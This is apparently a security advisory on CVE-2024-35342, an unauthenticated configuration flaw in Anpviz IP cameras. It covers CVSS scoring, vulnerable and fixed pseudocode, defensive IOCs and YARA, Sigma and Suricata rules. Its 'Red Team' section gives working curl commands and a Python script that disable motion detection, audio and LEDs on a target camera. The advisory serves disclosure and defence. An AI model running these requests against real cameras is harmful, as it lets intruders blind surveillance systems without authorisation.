CVE-2024-35342

Executive Summary

CVE-2024-35342 is a critical authentication bypass vulnerability affecting a wide range of Anpviz IP camera models and firmware versions up to v3.2.2.2. The flaw allows unauthenticated remote attackers to modify or disable core camera settings, including microphone volume, speaker volume, LED lighting, NTP configuration, and motion detection. This effectively grants an attacker full control over the device's operational parameters without requiring any credentials.

The vulnerability stems from a missing authentication check (CWE-306) in the camera's web management interface. An attacker can send crafted HTTP requests to the device's API endpoints to alter sensitive settings. Given the lack of a vendor patch and the widespread deployment of these cameras in surveillance systems, this poses a significant risk to physical security and privacy.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in embedded IP camera devices. The supply chain risk lies in the procurement of these devices from Anpviz or resellers, as the vendor has not released a patch. Organizations should consider replacing affected devices with alternatives from vendors with a proven security track record.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

• Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None - No authentication is needed.
• User Interaction (UI): None - The victim does not need to perform any action.
• Scope (S): Unchanged - The exploit cannot affect components beyond the vulnerable camera.
• Confidentiality (C): None - The vulnerability does not directly leak data.
• Integrity (I): High - An attacker can modify critical device settings, potentially disabling security features or altering camera behavior.
• Availability (A): None - The vulnerability does not directly cause a denial of service, though disabling motion detection could indirectly affect availability of security monitoring.

Threat Level: High. The combination of network exploitability, no required privileges, and high integrity impact makes this a serious threat. The lack of a patch and the prevalence of these cameras in unsecured IoT environments further elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the affected Anpviz IP cameras. The camera exposes several HTTP endpoints for configuration changes, such as:

• /cgi-bin/configManager.cgi?action=setConfig&MicVolume=...
• /cgi-bin/configManager.cgi?action=setConfig&SpeakerVolume=...
• /cgi-bin/configManager.cgi?action=setConfig&LEDMode=...
• /cgi-bin/configManager.cgi?action=setConfig&NTPEnable=...
• /cgi-bin/configManager.cgi?action=setConfig&MotionDetect=...

These endpoints lack any authentication or session validation. An attacker can send a simple HTTP GET or POST request to any of these endpoints to change the corresponding setting. For example, to disable motion detection, an attacker would send:

GET /cgi-bin/configManager.cgi?action=setConfig&MotionDetect=0 HTTP/1.1
Host: <camera_ip>

The camera processes the request and applies the change immediately, without verifying the identity of the requester. This is a classic case of missing authentication for a critical function (CWE-306).

The firmware version v3.2.2.2 and lower are affected. The vendor, Anpviz, has not released a patch or acknowledged the vulnerability, leaving all devices running these firmware versions permanently vulnerable.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. However, a secure implementation would require authentication for all configuration-changing endpoints. Below is a conceptual example of vulnerable vs. patched code in a hypothetical CGI handler.

Vulnerable Code (Python-like pseudocode):

def handle_config_manager(request):
    action = request.params.get('action')
    if action == 'setConfig':
        # No authentication check
        for key, value in request.params.items():
            if key != 'action':
                set_device_config(key, value)
        return "OK"

Patched Code (Conceptual):

def handle_config_manager(request):
    # Authentication check
    if not is_authenticated(request):
        return "401 Unauthorized"
    action = request.params.get('action')
    if action == 'setConfig':
        for key, value in request.params.items():
            if key != 'action':
                set_device_config(key, value)
        return "OK"

The patched version adds a call to is_authenticated() which would validate a session token or credentials before allowing any configuration changes.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain an affected Anpviz camera (e.g., IPC-D250) with firmware v3.2.2.2.
2. Connect the camera to a local network with a known IP address (e.g., 192.168.1.100).
3. Use a tool like curl or a Python script to send unauthenticated requests.

Exploitation Steps:

1. Disable Motion Detection:

   curl "http://192.168.1.100/cgi-bin/configManager.cgi?action=setConfig&MotionDetect=0"
   

2. Disable Audio (Microphone and Speaker):

   curl "http://192.168.1.100/cgi-bin/configManager.cgi?action=setConfig&MicVolume=0"
   curl "http://192.168.1.100/cgi-bin/configManager.cgi?action=setConfig&SpeakerVolume=0"
   

3. Disable NTP (Time Sync):

   curl "http://192.168.1.100/cgi-bin/configManager.cgi?action=setConfig&NTPEnable=0"
   

4. Turn Off LED Lights:

   curl "http://192.168.1.100/cgi-bin/configManager.cgi?action=setConfig&LEDMode=0"
   

Automated Exploit Script (Python):

import requests

def exploit_camera(ip):
    base_url = f"http://{ip}/cgi-bin/configManager.cgi"
    payloads = {
        "MotionDetect": "0",
        "MicVolume": "0",
        "SpeakerVolume": "0",
        "NTPEnable": "0",
        "LEDMode": "0"
    }
    for setting, value in payloads.items():
        url = f"{base_url}?action=setConfig&{setting}={value}"
        try:
            r = requests.get(url, timeout=5)
            print(f"[+] Set {setting} to {value}: {r.status_code}")
        except Exception as e:
            print(f"[-] Error setting {setting}: {e}")

if __name__ == "__main__":
    target_ip = input("Enter camera IP: ")
    exploit_camera(target_ip)

Blue Team (Defensive)

Detection and Prevention:

1. Network Segmentation: Place IP cameras on a separate VLAN with strict firewall rules. Do not expose the camera's web interface to the internet or untrusted networks.

2. Access Control: If possible, use a reverse proxy or VPN to restrict access to the camera's management interface to authorized users only.

3. Firmware Updates: Monitor for any firmware updates from Anpviz. If a patch becomes available, apply it immediately.

4. Device Replacement: Consider replacing affected cameras with models from vendors that provide regular security updates and have a responsible disclosure process.

5. Monitoring: Use network monitoring tools to detect anomalous HTTP requests to camera IPs on port 80/443, especially requests to /cgi-bin/configManager.cgi.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/configManager.cgi with action=setConfig parameter.
• Unusual changes in camera settings (e.g., motion detection disabled, LED lights turned off).
• Traffic from unknown IPs to the camera's web interface on port 80 or 443.

Host IOCs (on the camera):

• Modified configuration files (if accessible).
• Unexpected changes in device behavior (e.g., no audio, no motion alerts).

Log IOCs:

• Camera logs (if available) showing configuration changes without a corresponding login event.

Detection Engineering

YARA Rule

rule CVE_2024_35342_Anpviz_Config_Change {
    meta:
        description = "Detects HTTP requests targeting Anpviz camera configManager.cgi without authentication"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-35342"
    strings:
        $config_endpoint = "/cgi-bin/configManager.cgi"
        $set_config = "action=setConfig"
        $motion_detect = "MotionDetect"
        $mic_volume = "MicVolume"
        $speaker_volume = "SpeakerVolume"
        $ntp_enable = "NTPEnable"
        $led_mode = "LEDMode"
    condition:
        $config_endpoint and $set_config and any of ($motion_detect, $mic_volume, $speaker_volume, $ntp_enable, $led_mode)
}

Sigma Rule

title: Anpviz Camera Unauthenticated Configuration Change
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Anpviz camera configManager.cgi without authentication, indicating exploitation of CVE-2024-35342.
author: Valters IT
date: 2025-04-10
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2024.35342
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/cgi-bin/configManager.cgi?action=setConfig"
    condition: selection
falsepositives:
    - Legitimate administrative actions from authorized IPs (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35342 Anpviz Camera Unauthenticated Config Change"; flow:to_server; content:"/cgi-bin/configManager.cgi"; http_uri; content:"action=setConfig"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected cameras from the internet and untrusted networks. Place them on a dedicated VLAN with strict firewall rules.
2. Change default credentials if the camera supports authentication for other functions (though this does not fix the vulnerability).
3. Monitor network traffic for exploitation attempts using the provided detection rules.

Long-Term Solutions:

1. Replace affected devices with cameras from vendors that provide regular firmware updates and have a responsible disclosure process.
2. Implement network access controls such as 802.1X or MAC address filtering to limit which devices can communicate with the cameras.
3. Use a VPN for remote access to camera management interfaces.
4. Engage with the vendor (Anpviz) to request a patch. If no response, consider reporting the vulnerability to a CNA or public disclosure platform.

Workaround:

• If the camera supports it, disable the web interface entirely and use only ONVIF or RTSP for video streaming. This may not be possible on all models.

Valters IT
DevSecOps & Cyber Threat Intelligence